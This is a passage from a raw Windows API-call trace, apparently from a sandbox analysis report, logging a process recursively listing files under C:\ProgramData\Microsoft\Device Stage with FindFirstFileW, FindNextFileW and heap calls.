ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.151] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.151] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.151] GetProcessHeap () returned 0xc10000 [0271.151] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.151] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0271.152] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0271.152] GetProcessHeap () returned 0xc10000 [0271.152] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.152] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0271.152] GetProcessHeap () returned 0xc10000 [0271.152] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0271.152] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.153] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0271.153] GetProcessHeap () returned 0xc10000 [0271.153] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0271.154] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.408] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0271.408] GetProcessHeap () returned 0xc10000 [0271.408] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0271.412] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0271.412] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0271.414] GetProcessHeap () returned 0xc10000 [0271.414] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.414] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0271.414] GetProcessHeap () returned 0xc10000 [0271.414] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0271.445] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.445] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0271.445] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0271.448] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0271.448] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0271.448] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0271.448] GetProcessHeap () returned 0xc10000 [0271.449] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.449] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0271.449] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0271.449] GetProcessHeap () returned 0xc10000 [0271.449] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.449] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0271.449] GetProcessHeap () returned 0xc10000 [0271.449] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0271.450] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.450] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0271.450] GetProcessHeap () returned 0xc10000 [0271.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.453] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.454] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0271.454] GetProcessHeap () returned 0xc10000 [0271.454] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0271.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0271.454] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.454] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0271.454] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0271.455] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0271.455] GetProcessHeap () returned 0xc10000 [0271.455] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, 